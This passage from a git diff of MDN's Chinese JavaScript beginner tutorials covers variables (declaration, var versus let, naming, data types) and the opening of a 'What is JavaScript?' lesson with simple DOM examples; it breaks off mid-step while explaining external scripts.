在前面你看到的盒子的类比中,不存在意味着没有可以存放变量的“盒子”。没有定义的值意味着有一个“盒子”,但是它里面没有任何值。</p> +</div> + +<h2 id="初始化变量">初始化变量</h2> + +<p>一旦你定义了一个变量,你就能够初始化它. 方法如下,在变量名之后跟上一个“=”,然后是数值:</p> + +<pre class="brush: js notranslate">myName = 'Chris'; +myAge = 37;</pre> + +<p>现在回到控制台并且尝试输入这几行。每输入一条你都应该确认一下控制台输出的变量是不是你刚赋的值。 同样,你可以通过在控制台中输入变量的名称来返回该变量的值 — 再次尝试下这些:</p> + +<pre class="brush: js notranslate">myName; +myAge;</pre> + +<p>你可以像这样在声明变量的时候给变量初始化:</p> + +<pre class="brush: js notranslate">let myName = 'Chris';</pre> + +<p>这可能是大多数时间你都会使用的方式, 因为它要比在单独的两行上做两次操作要快。</p> + +<div class="note"> +<p><strong>Note</strong>: 如果你写一个声明和初始化变量的多行JavaScript代码的程序,你可以在初始化变量之后再实际声明它,并且它仍然可以工作。这是因为变量的声明通常在其余的代码执行之前完成。这叫做<strong>顶置</strong>—阅读<a href="/en-US/docs/Web/JavaScript/Reference/Statements/var#var_hoisting">var hoisting</a>来了解更多细节。</p> +</div> + +<h2 id="var_与_let_的区别">var 与 let 的区别</h2> + +<p>此时,您可能会想:“为什么我们需要两个关键字来定义变量?”,“为什么有 <code>var</code> 和 <code>let</code> 呢?"。</p> + +<p>原因是有些历史性的。 回到最初创建 JavaScript 时,是只有 <code>var</code> 的。 在大多数情况下,这种方法可以接受, 但有时在工作方式上会有一些问题——它的设计会令人困惑或令人讨厌 。 因此,<code>let</code> 是在现代版本中的 JavaScript 创建的一个新的关键字,用于创建与 <code>var</code> 工作方式有些不同的变量,解决了过程中的问题。</p> + +<p>下面解释几个简单的差异。 我们现在不会讨论所有的差异,但是当您了解有关 JavaScript 的更多信息时,您将开始发现它们(如果您现在真的想要阅读它们,请随时查看我们的<a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">参考页面</a>)。</p> + +<p>首先,如果你编写一个声明并初始化变量的多行 JavaScript 程序,你可以在初始化一个变量之后用 <code>var</code> 声明它,它仍然可以工作。 例如:</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">myName <span class="operator token">=</span> <span class="string token">'Chris'</span><span class="punctuation token">;</span> + +<span class="keyword token">function</span> <span class="function token">logName</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>myName<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="function token">logName</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +var myName<span class="punctuation token">;</span></code></pre> + +<div class="blockIndicator note"> +<p>Note: 只有在 web 文档中运行多行 JavaScript 时才会有这种效果,当在 JavaScript 控制台中键入单独的行,这将不起作用。</p> +</div> + +<p>这是由于变量的<strong>提升</strong>,更多细节请阅读<a href="/zh-CN/docs/Web/JavaScript/Reference/Statements/var#变量提升">变量提升</a>。</p> + +<p>但提升操作不再适用于 <code>let</code> 。如果将上面例子中的 <code>var</code> 替换成 <code>let</code> 将不起作用并引起一个错误。 这是一件好事——因为初始化后再声明一个变量会使代码变得混乱和难以理解。</p> + +<p>其次,当你使用 <code>var</code> 时,可以根据需要多次声明相同名称的变量,但是 <code>let</code> 不能。 以下将有效:</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">var</span> myName <span class="operator token">=</span> <span class="string token">'Chris'</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> myName <span class="operator token">=</span> <span class="string token">'Bob'</span><span class="punctuation token">;</span></code></pre> + +<p>但是以下内容会在第二行引发错误:</p> + +<pre class="brush: js example-bad notranslate"><code class="language-js"><span class="keyword token">let</span> myName <span class="operator token">=</span> <span class="string token">'Chris'</span><span class="punctuation token">;</span> +<span class="keyword token">let</span> myName <span class="operator token">=</span> <span class="string token">'Bob'</span><span class="punctuation token">;</span></code></pre> + +<p>你必须这样做:</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> myName <span class="operator token">=</span> <span class="string token">'Chris'</span><span class="punctuation token">;</span> +myName <span class="operator token">=</span> <span class="string token">'Bob'</span><span class="punctuation token">;</span></code></pre> + +<p>同样,这是一个明智的语言决定。没有理由重新声明变量——这只会让事情变得更加混乱。</p> + +<p>出于这些以及其他原因,我们建议您在代码中尽可能多地使用 <code>let</code>,而不是 <code>var</code>。因为没有理由使用 <code>var</code>,除非您需要用代码支持旧版本的 Internet Explorer (它直到第 11 版才支持 <code>let</code> ,现代的 Windows Edge 浏览器支持的很好)。</p> + +<div class="blockIndicator note"> +<p> <strong>Note: </strong>我们目前正在更新课程以使用let而不是var。 忍耐一下!</p> +</div> + +<h2 id="更新变量">更新变量</h2> + +<p>一旦变量赋值,您可以通过简单地给它一个不同的值来更新它。试试在你的控制台中输入下面几行:</p> + +<pre class="brush: js notranslate">myName = 'Bob'; +myAge = 40;</pre> + +<h3 id="关于变量命名的规则">关于变量命名的规则</h3> + +<p>你可以给你的变量赋任何你喜欢的名字,但有一些限制。 一般你应当坚持使用拉丁字符(0-9,a-z,A-Z)和下划线字符。</p> + +<ul> + <li>你不应当使用规则之外的其他字符,因为它们可能引发错误,或对国际用户来说难以理解。</li> + <li>变量名不要以下划线开头—— 以下划线开头的被某些JavaScript设计为特殊的含义,因此可能让人迷惑。</li> + <li>变量名不要以数字开头。这种行为是不被允许的,并且将引发一个错误。</li> + <li>一个可靠的命名约定叫做 <a href="https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms">"小写驼峰命名法"</a>,用来将多个单词组在一起,小写整个命名的第一个字母然后大写剩下单词的首字符。我们已经在文章中使用了这种命名方法。</li> + <li>让变量名直观,它们描述了所包含的数据。不要只使用单一的字母/数字,或者长句。</li> + <li>变量名大小写敏感——因此<code>myage</code>与<code>myAge</code>是2个不同的变量。</li> + <li>最后也是最重要的一点—— 你应当避免使用JavaScript的保留字给变量命名。保留字,即是组成JavaScript的实际语法的单词!因此诸如 <code>var</code>, <code>function</code>, <code>let和</code> <code>for</code>等,都不能被作为变量名使用。浏览器将把它们识别为不同的代码项,因此你将得到错误。</li> +</ul> + +<div class="note"> +<p><strong>Note</strong>: 你能从<a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">词汇语法—关键字</a>找到一个相当完整的保留关键字列表来避免使用关键字当作变量。</p> +</div> + +<p>好的命名示例:</p> + +<pre class="example-good notranslate">age +myAge +init +initialColor +finalOutputValue +audio1 +audio2</pre> + +<p>错误与差的命名示例:</p> + +<pre class="example-bad notranslate">1 +a +_12 +myage +MYAGE +var +Document +skjfndskjfnbdskjfb +thisisareallylongstupidvariablenameman</pre> + +<p>现在尝试创建更多的变量,请将上面的指导铭记于心。</p> + +<h2 id="变量类型">变量类型</h2> + +<p>可以为变量设置不同的数据类型。本节我们将对其进行简短的介绍,在以后的文章中,你会更详细地了解它们。</p> + +<p>到目前为止我们已经认识了前2个,但是还有其他的。</p> + +<h3 id="Number">Number</h3> + +<p>你可以在变量中存储数字,不论这些数字是像30(也叫整数)这样,或者像2.456这样的小数(也叫做浮点数)。与其他编程语言不同,在 JavaScript 中你不需要声明一个变量的类型。当你给一个变量数字赋值时,不需要用引号括起来。 </p> + +<pre class="brush: js notranslate">let myAge = 17;</pre> + +<h3 id="String">String</h3> + +<p>字符串是文本的一部分。当你给一个变量赋值为字符串时,你需要用单引号或者双引号把值给包起来,否则JavaScript将会把这个字符串值理解成别的变量名。</p> + +<pre class="brush: js notranslate">let dolphinGoodbye = 'So long and thanks for all the fish';</pre> + +<h3 id="Boolean">Boolean</h3> + +<p>Boolean 的值有2种:true或false。它们通常被用于在适当的代码之后,测试条件是否成立。举个例子,一个简单的示例如下: </p> + +<pre class="brush: js notranslate">let iAmAlive = true;</pre> + +<p>然而实际上通常是以下用法:</p> + +<pre class="brush: js notranslate">let test = 6 < 3;</pre> + +<p>这是使用“小于”操作符(<)来测试6小于3。正如你所料的,将会返回<code>false</code>,因为6并不小于3!在这个课程中,以后你将会学到许多有关操作符的知识。</p> + +<h3 id="Array">Array</h3> + +<p>数组是一个单个对象,其中包含很多值,方括号括起来,并用逗号分隔。尝试在您的控制台输入以下行:</p> + +<pre class="brush: js notranslate">let myNameArray = ['Chris', 'Bob', 'Jim']; +let myNumberArray = [10,15,40];</pre> + +<p>当数组被定义后,您可以使用如下所示的语法来访问各自的值,例如下行:</p> + +<pre class="brush: js notranslate">myNameArray[0]; // should return 'Chris' +myNumberArray[2]; // should return 40</pre> + +<p>此处的方括号包含一个索引值,该值指定要返回的值的位置。 您可能已经注意到,计算机从0开始计数,而不是像我们人类那样的1。</p> + +<p>在以后的文章,你将更多地了解数组。</p> + +<h3 id="Object">Object</h3> + +<p>在编程中,对象是现实生活中的模型的一种代码结构。您可以有一个简单的对象,代表一个停车场,并包含有关其宽度和长度的信息,或者您可以有一个代表一个人的对象,并包含有关他们的名字,身高,体重,他们说什么语言,如何说 你好,他们,等等。</p> + +<p>尝试在您的控制台输入以下行:</p> + +<pre class="brush: js notranslate">let dog = { name : 'Spot', breed : 'Dalmatian' };</pre> + +<p>要检索存储在对象中的信息,可以使用以下语法:</p> + +<pre class="brush: js notranslate">dog.name</pre> + +<p>我们现在不会看对象了 - 您可以在将来的模块中了解更多关于这些对象的信息.</p> + +<h2 id="动态类型">动态类型</h2> + +<p>JavaScript是一种“动态类型语言”,这意味着不同于其他一些语言(译者注:如C、JAVA),您不需要指定变量将包含什么数据类型(例如number或string)</p> + +<p>例如,如果你声明一个变量并给它一个带引号的值,浏览器就会知道它是一个字符串:</p> + +<pre class="brush: js notranslate">let myString = 'Hello';</pre> + +<p>即使它包含数字,但它仍然是一个字符串,所以要小心:</p> + +<pre class="brush: js notranslate">let myNumber = '500'; // oops, this is still a string +typeof myNumber; +myNumber = 500; // much better — now this is a number +typeof myNumber</pre> + +<p>尝试依次将上述代码输入您的控制台,看看结果是什么(无须输入//之后的注释)。 我们使用了一个名为<code>typeof</code>的特殊的操作符 ——它会返回所传递给它的变量的数据类型。 第一次在上面的代码中调用它,它应该返回string,因为此时myNumber变量包含一个字符串'500'。 看看它第二次将返回什么。</p> + +<h2 id="总结">总结</h2> + +<p>到目前为止,您应该了解了一些JavaScript变量以及如何创建它们。 在下一篇文章中,我们将更详细地关注数字,了解如何在JavaScript中使用基础数学。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps")}}</p> + +<h2 id="在此模块内">在此模块内</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/first_steps/what_is_javascript/index.html b/files/zh-cn/learn/javascript/first_steps/what_is_javascript/index.html new file mode 100644 index 0000000000..b62daa5a1d --- /dev/null +++ b/files/zh-cn/learn/javascript/first_steps/what_is_javascript/index.html @@ -0,0 +1,501 @@ +--- +title: 什么是 JavaScript? +slug: Learn/JavaScript/First_steps/What_is_JavaScript +tags: + - API + - JavaScript + - 初学者 + - 核心 + - 浏览器 +translation_of: Learn/JavaScript/First_steps/What_is_JavaScript +--- +<div dir="ltr">{{LearnSidebar}}</div> + +<div dir="ltr">{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary" dir="ltr">欢迎来到 MDN 的 JavaScript 初学者课程!本节将在一定高度俯瞰 JavaScript,回答一些诸如“它是什么?”和“它能做什么?”的问题 。并使你熟悉 JavaScript 的用途。</p> + +<table class="learn-box standard-table" dir="ltr"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>计算机基础知识,初步理解 HTML 和 CSS 。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>初步了解 JavaScript,包括一些概念、用途、嵌入网站的方法。</td> + </tr> + </tbody> +</table> + +<h2 dir="ltr" id="广义的定义">广义的定义</h2> + +<p dir="ltr">JavaScript 是一种脚本,一门编程语言,它可以在网页上实现复杂的功能,网页展现给你的不再是简单的静态信息,而是实时的内容更新,交互式的地图,2D/3D 动画,滚动播放的视频等等。JavaScript 怎能缺席。它是标准 Web 技术蛋糕的第三层,其中 <a href="/en-US/docs/Learn/HTML">HTML </a>和 <a href="/en-US/docs/Learn/CSS">CSS </a>我们已经在学习中心的其他部分进行了详细的讲解。</p> + +<p><img alt="" dir="ltr" src="https://mdn.mozillademos.org/files/13502/cake.png" style="display: block; height: 291px; margin: 0px auto; width: 300px;"></p> + +<ul dir="ltr"> + <li>{{glossary("HTML")}}是一种标记语言,用来结构化我们的网页内容并赋予内容含义,例如定义段落、标题和数据表,或在页面中嵌入图片和视频。</li> + <li>{{glossary("CSS")}} 是一种样式规则语言,可将样式应用于 HTML 内容, 例如设置背景颜色和字体,在多个列中布局内容。</li> + <li>{{glossary("JavaScript")}} 是一种脚本语言,可以用来创建动态更新的内容,控制多媒体,制作图像动画,还有很多。(好吧,虽然它不是万能的,但可以通过简短的代码来实现神奇的功能。)</li> +</ul> + +<p dir="ltr">这三层依次建立,秩序井然。以文本标签(text label)的简单示例。首先用 HTML 将文本标记起来,从而赋予它结构和目的:</p> + +<pre class="brush: html notranslate" dir="rtl"><p>玩家1:小明</p></pre> + +<p dir="ltr">玩家1:小明</p> + +<p dir="ltr">然后我们可以为它加一点 CSS 让它更好看:</p> + +<pre class="brush: css notranslate" dir="rtl">p { + font-family: sans-serif, '黑体'; + letter-spacing: 1px; + text-transform: uppercase; + text-align: center; + border: 2px solid rgba(0, 0, 200, 0.6); + background: rgba(0, 0, 200, 0.3); + color: rgba(0, 0, 200, 0.6); + box-shadow: 1px 1px 2px rgba(0, 0, 200, 0.4); + border-radius: 10px; + padding: 3px 10px; + display: inline-block; + cursor: pointer; +}</pre> + +<div class="hidden" dir="ltr"> +<h6 id="Beautiful_name_label">Beautiful name label</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html><head><style> +p { + font-family: sans-serif, '黑体'; + letter-spacing: 1px; + text-transform: uppercase; + text-align: center; + border: 2px solid rgba(0, 0, 200, 0.6); + background: rgba(0, 0, 200, 0.3); + color: rgba(0, 0, 200, 0.6); + box-shadow: 1px 1px 2px rgba(0, 0, 200, 0.4); + border-radius: 10px; + padding: 3px 10px; + display: inline-block; + cursor: pointer; +} +</style></head> +<body> +<p>玩家1:小明</p> +</body></html></pre> +</div> + +<p dir="ltr">{{ EmbedLiveSample('Beautiful_name_label', '100%', 80, "", "", "hide-codepen-jsfiddle") }}</p> + +<p dir="ltr">最后,我们可以再加上一些 JavaScript 来实现动态行为:</p> + +<pre class="brush: js notranslate" dir="rtl">const para = document.querySelector('p'); + +para.addEventListener('click', updateName); + +function updateName() { + let name = prompt('输入一个新的名字:'); + para.textContent = '玩家1:' + name; +} +</pre> + +<div class="hidden" dir="ltr"> +<h6 id="Customizable_name_label">Customizable name label</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html><head><style> +p { +font-family: sans-serif, '黑体'; +letter-spacing: 1px; +text-transform: uppercase; +text-align: center; +border: 2px solid rgba(0,0,200,0.6); +background: rgba(0,0,200,0.3); +color: rgba(0,0,200,0.6); +box-shadow: 1px 1px 2px rgba(0,0,200,0.4); +border-radius: 10px; +padding: 3px 10px; +display: inline-block; +cursor: pointer; +} +</style></head> +<body> +<p>玩家1:小明</p> +<script> +const para = document.querySelector('p'); +para.addEventListener('click', updateName); +function updateName() { + const name = prompt('输入一个新的名字:'); + para.textContent = '玩家1:' + name; +} +</script> +</body></html></pre> +</div> + +<p dir="ltr">{{ EmbedLiveSample('Customizable_name_label', '100%', 80, "", "", "hide-codepen-jsfiddle") }}</p> + +<p dir="ltr">尝试点击最后一个版本的文本标签,观察会发生什么(也可在 GitHub 上查看这个 demo 的 <a class="external external-icon" href="https://github.com/roy-tian/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/javascript-label.html">源代码</a> 或 <a class="external external-icon" href="https://roy-tian.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/javascript-label.html">在线运行</a>。)</p> + +<p dir="ltr">JavaScript 能做的远不止这些。让我们来仔细探索。</p> + +<h2 dir="ltr" id="它到底可以做什么?">它到底可以做什么?</h2> + +<p dir="ltr">客户端(client-side)JavaScript 语言的核心包含一些普遍的编程特性,以让你可以做到如下的事情:</p> + +<ul dir="ltr"> + <li>在变量中储存有用的值。比如上文的示例中,我们请求客户输入一个新名字,然后将其储存到 <code>name</code> 变量中。</li> + <li>操作一段文本(在编程中称为“字符串”(string))。上文的示例中,我们取字符串 "玩家1:",然后把它和 <code>name</code> 变量连结起来,创造出完整的文本标签,比如:"玩家1:小明"。</li> + <li>运行代码以响应网页中发生的特定事件。上文的示例中,我们用一个 {{Event("click")}} 事件来检测按钮什么时候被点击,然后运行代码更新文本标签。</li> + <li>以及更多!</li> +</ul> + +<p dir="ltr">JavaScript 语言核心之上所构建的功能更令人兴奋。<strong>应用程序接口(Application Programming Interfaces</strong>(<strong>API</strong>))将为你的代码提供额外的超能力。</p> + +<p dir="ltr">API 是已经建立好的一套代码组件,可以让开发者实现原本很难甚至无法实现的程序。就像现成的家具套件之于家居建设,用一些已经切好的木板组装一个书柜,显然比自己设计,寻找合适的木材,裁切至合适的尺寸和形状,找到正确尺寸的螺钉,再组装成书柜要简单得多。</p> + +<p dir="ltr">API 通常分为两类。</p> + +<p><img alt="" dir="ltr" src="https://mdn.mozillademos.org/files/13508/browser.png" style="display: block; height: 511px; margin: 0px auto; width: 815px;"></p> + +<p dir="ltr"><strong>浏览器 API</strong> 内建于 web 浏览器中,它们可以将数据从周边计算机环境中筛选出来,还可以做实用的复杂工作。例如:</p> + +<ul dir="ltr"> + <li>{{domxref("Document_Object_Model","文档对象模型 API(DOM(Document Object Model)API)")}} 能通过创建、移除和修改 HTML,为页面动态应用新样式等手段来操作 HTML 和 CSS。比如当某个页面出现了一个弹窗,或者显示了一些新内容(像上文小 demo 中看到那样),这就是 DOM 在运行。</li> + <li>{{domxref("Geolocation","地理位置 API(Geolocation API)")}} 获取地理信息。这就是为什么 <a href="https://www.google.cn/maps">谷歌地图</a> 可以找到你的位置,而且标示在地图上。</li> + <li>{{domxref("Canvas_API","画布(Canvas)")}} 和 {{domxref("WebGL_API","WebGL")}} API 可以创建生动的 2D 和 3D 图像。人们正运用这些 web 技术制作令人惊叹的作品。参见 <a href="https://www.chromeexperiments.com/webgl">Chrome Experiments</a> 以及 <a href="http://webglsamples.org/">webglsamples</a>。</li> + <li>诸如 {{domxref("HTMLMediaElement")}} 和 {{domxref("WebRTC API", "WebRTC")}} 等 <a href="https://developer.mozilla.org/en-US/Apps/Fundamentals/Audio_and_video_delivery">影音类 API</a> 让你可以利用多媒体做一些非常有趣的事,比如在网页中直接播放音乐和影片,或用自己的网络摄像头获取录像,然后在其他人的电脑上展示(试用简易版 <a href="http://chrisdavidmills.github.io/snapshot/">截图 demo</a> 以理解这个概念)。</li> +</ul> + +<div class="note" dir="ltr"> +<p><strong>注</strong>: 上述很多演示都不能在旧浏览器中运行。推荐你在测试代码时使用诸如 Firefox, Chrome, Edge 或者 Opera 等现代浏览器。当代码即将交付生产环境时(也就是真实的客户即将使用真实的代码时),你还需要深入考虑 <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">跨平台测试</a>。</p> +</div> + +<p dir="ltr"><strong>第三方 API </strong>并没有默认嵌入浏览器中,一般要从网上取得它们的代码和信息。比如:</p> + +<ul dir="ltr"> + <li><a href="https://dev.twitter.com/overview/documentation">Twitter API</a>、<a href="https://open.weibo.com/">新浪微博 API</a> 可以在网站上展示最新推文之类。</li> + <li><a href="https://developers.google.com/maps/">谷歌地图 API</a>、<a href="https://lbs.amap.com/">高德地图 API</a> 可以在网站嵌入定制的地图等等。</li> +</ul> + +<div class="note" dir="ltr"> +<p><strong>注</strong>:这些 API 较为高级,我们的课程中不会涉及,更多信息请参考:<a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs">客户端 web API 模块</a>.</p> +</div> + +<p dir="ltr">先稳住!你看到的只是冰山一角。你不可能学一天 JavaScript 就能构建下一个Facebook, 谷歌地图, 或者 Instagram。敬请「牢记初心,砥砺前行」。</p> + +<h2 dir="ltr" id="JavaScript_在页面上做了什么?">JavaScript 在页面上做了什么?</h2> + +<p dir="ltr">现在我们实实在在的学习一些代码,与此同时,探索 JavaScript 运行时背后发生的事情。</p> + +<p dir="ltr">让我们简单回顾一下,浏览器在读取一个网页时都发生什么(<a href="/zh-CN/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_does_CSS_actually_work">CSS 如何工作</a> 一文中首次谈及)。浏览器在读取一个网页时,代码(HTML, CSS 和 JavaScript)将在一个运行环境(浏览器标签页)中得到执行。就像一间工厂,将原材料(代码)加工为一件产品(网页)。</p> + +<p><img alt="" dir="ltr" src="https://mdn.mozillademos.org/files/13504/execution.png" style="display: block; margin: 0 auto;"></p> + +<p dir="ltr">在 HTML 和 CSS 集合组装成一个网页后,浏览器的 JavaScript 引擎将执行 JavaScript 代码。这保证了当 JavaScript 开始运行之前,网页的结构和样式已经就位。</p> + +<p dir="ltr">这样很好,因为JavaScript 最普遍的用处是通过 DOM API(见上文)动态修改 HTML 和 CSS 来更新用户界面 (user interface)。如果 JavaScript 在 HTML 和 CSS 就位之前加载运行,就会引发错误。</p> + +<h3 dir="ltr" id="浏览器安全">浏览器安全</h3> + +<p dir="ltr">每个浏览器标签页就是其自身用来运行代码的独立容器(这些容器用专业术语称为“运行环境”)。大多数情况下,每个标签页中的代码完全独立运行,而且一个标签页中的代码不能直接影响另一个标签页(或者另一个网站)中的代码。这是一个好的安全措施,如果不这样,黑客就可以从其他网站盗取信息,等等。</p> + +<div class="note" dir="ltr"> +<p><strong>注</strong>:以安全的方式在不同网站/标签页中传送代码和数据的方法是存在的,但这些技术较为高级,本课程不会涉及。</p> +</div> + +<h3 dir="ltr" id="JavaScript_运行次序">JavaScript 运行次序</h3> + +<p dir="ltr">当浏览器执行到一段 JavaScript 代码时,通常会按从上往下的顺序执行这段代码。这意味着你需要注意代码书写的顺序。比如,我们回到第一个例子中的 JavaScript 代码:</p> + +<pre class="brush: js notranslate" dir="rtl">const para = document.querySelector('p'); + +para.addEventListener('click', updateName); + +function updateName() { + let name = prompt('输入一个新的名字:'); + para.textContent = '玩家1:' + name; +}</pre> + +<p dir="ltr">这里我们选定一个文本段落(第 1 行),然后给它附上一个事件监听器(第 3 行),使得在它被点击时,<code>updateName()</code> 代码块(code block) (5 – 8 行)便会运行。<code>updateName()</code> (这类可以重复使用的代码块称为“函数”)向用户请求一个新名字,然后把这个名字插入到段落中以更新显示。</p> + +<p dir="ltr">如果你互换了代码里最初两行的顺序,会导致问题。浏览器<a href="zh-CN/docs/Learn/Discover_browser_developer_tools">开发者控制台</a>将返回一个错误: <code>TypeError: para is undefined</code>。这意味着 <code>para</code> 对象还不存在,所以我们不能为它增添一个事件监听器。</p> + +<div class="note" dir="ltr"> +<p><strong>注</strong>:这是一个很常见的错误,在引用对象之前必须确保该对象已经存在。</p> +</div> + +<h3 dir="ltr" id="解释代码_vs_编译代码">解释代码 vs 编译代码</h3> + +<p dir="ltr">作为程序员,你或许听说过这两个术语:<strong>解释(</strong><strong>interpret)</strong>和 <strong>编译(compile)</strong>。在解释型语言中,代码自上而下运行,且实时返回运行结果。代码在由浏览器执行前,不需要将其转化为其他形式。代码将直接以文本格式(text form)被接收和处理。</p> + +<p dir="ltr">相对的,编译型语言需要先将代码转化(编译)成另一种形式才能运行。比如 C/C++ 先被编译成汇编语言,然后才能由计算机运行。程序将以二进制的格式运行,这些二进制内容是由程序源代码产生的。</p> + +<p dir="ltr">JavaScript 是轻量级解释型语言。浏览器接受到JavaScript代码,并以代码自身的文本格式运行它。技术上,几乎所有 JavaScript 转换器都运用了一种叫做即时编译(just-in-time compiling)的技术;当 JavaScript 源代码被执行时,它会被编译成二进制的格式,使代码运行速度更快。尽管如此,JavaScript 仍然是一门解释型语言,因为编译过程发生在代码运行中,而非之前。</p> + +<p dir="ltr">两种类型的语言各有优势,这个问题我们暂且不谈。</p> + +<h3 dir="ltr" id="服务器端代码_vs_客户端代码">服务器端代码 vs 客户端代码</h3> + +<p dir="ltr">你或许还听说过<strong>服务器端(server-side)</strong>和 <strong>客户端(client-side)</strong>代码这两个术语,尤其是在web开发时。客户端代码是在用户的电脑上运行的代码,在浏览一个网页时,它的客户端代码就会被下载,然后由浏览器来运行并展示。这就是<strong>客户端 JavaScript</strong>。</p> + +<p dir="ltr">而服务器端代码在服务器上运行,接着运行结果才由浏览器下载并展示出来。流行的服务器端 web 语言包括:PHP、Python、Ruby、ASP.NET 以及...... JavaScript!JavaScript 也可用作服务器端语言,比如现在流行的 Node.js 环境,你可以在我们的 <a href="/zh-CN/docs/Learn/Server-side">动态网页 - 服务器端编程</a> 主题中找到更多关于服务器端 JavaScript 的知识。</p> + +<h3 dir="ltr" id="动态代码_vs_静态代码">动态代码 vs 静态代码</h3> + +<p dir="ltr">“<strong>动态</strong>”一词既适用于客户端 JavaScript,又适用于描述服务器端语言。是指通过按需生成新内容来更新 web 页面 / 应用,使得不同环境下显示不同内容。服务器端代码会在服务器上动态生成新内容,例如从数据库中提取信息。而客户端 JavaScript 则在用户端浏览器中动态生成新内容,比如说创建一个新的 HTML 表格,用从服务器请求到的数据填充,然后在网页中向用户展示这个表格。两种情况的意义略有不同,但又有所关联,且两者(服务器端和客户端)经常协同作战。</p> + +<p dir="ltr">没有动态更新内容的网页叫做“<strong>静态</strong>”页面<strong>,</strong>所显示的内容不会改变。</p> + +<h2 dir="ltr" id="怎样向页面添加_JavaScript?">怎样向页面添加 JavaScript?</h2> + +<p dir="ltr">可以像添加 CSS 那样将 JavaScript 添加到 HTML 页面中。CSS 使用 {{htmlelement("link")}} 元素链接外部样式表,使用 {{htmlelement("style")}} 元素向 HTML 嵌入内部样式表,JavaScript 这里只需一个元素——{{htmlelement("script")}}。我们来看看它是怎么工作的。</p> + +<h3 dir="ltr" id="内部_JavaScript">内部 JavaScript</h3> + +<ol dir="ltr"> + <li>首先,下载示例文件 <a href="https://github.com/roy-tian/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript.html" id="92a6bf0d0009a65dbe8e2051e58c9e9c-69e65808c197b337a320d1613964f0ea3e3ba5f1" title="apply-javascript.html">apply-javascript.html</a>。放在一个好记的文件夹里。</li> + <li>分别在浏览器和文本编辑器中打开这个文件。你会看到这个 HTML 文件创建了一个简单的网页,其中有一个可点击按钮。</li> + <li><font face="Open Sans, Arial, sans-serif">然后转到文本编辑器,在 </font><code></body></code> 标签结束前插入以下代码: + <pre class="brush: html notranslate"><script> + + // 在此编写 JavaScript 代码 + +</script></pre> + </li> + <li>下面,在 {{htmlelement("script")}} 元素中添加一些 JavaScript 代码,这个页面就能做一些更有趣的事。在“/ /在此编写 JavaScript 代码”一行下方添加以下代码: + <pre class="brush: js notranslate">document.addEventListener("DOMContentLoaded", function() { + function createParagraph() { + let para = document.createElement('p'); + para.textContent = '你点击了这个按钮!'; + document.body.appendChild(para); + } + + const buttons = document.querySelectorAll('button'); + + for(let i = 0; i < buttons.length ; i++) { + buttons[i].addEventListener('click', createParagraph); + } +});</pre> + </li> + <li>保存文件并刷新浏览器,然后你会发现,点击按钮文档下方将会添加一个新段落。</li> +</ol> + +<div class="note" dir="ltr"> +<p><strong>注</strong>: 如果示例不能正常工作,请依次检查所有步骤,并保证没有纰漏。原始文件是否以 <code>.html</code> 为扩展名保存到本地了?<code></body></code> 标签前是否添加了 {{htmlelement("script")}} 元素?JavaScript 代码输入是否正确 ? <strong>JavaScript 是区分大小写的,而且非常精确,所以你需要准确无误地输入所示的句法,否则可能会出错。</strong></p> +</div> + +<div class="note" dir="ltr"> +<p><strong>注</strong>: 你可以在 GitHub 上查看此版本 <a class="external external-icon" href="https://github.com/roy-tian/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html">apply-internal.html</a> (<a class="external external-icon" href="https://roy-tian.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html">也可在线查看</a>)。</p> +</div> + +<h3 dir="ltr" id="外部_JavaScript">外部 JavaScript</h3> + +<p dir="ltr">这很不错,但是能不能把 JavaScript 代码放置在一个外部文件中呢?现在我们来研究一下。</p> + +<ol dir="ltr"> + <li>首先,在刚才的 HTML 文件所在的目录下创建一个名为 <code>script.js</code> 的新文件。请确保扩展名为 <code>.js</code>,只有这样才能被识别为 JavaScript 代码。</li> + <li>将 {{htmlelement("script")}} 元素替换为: + <pre 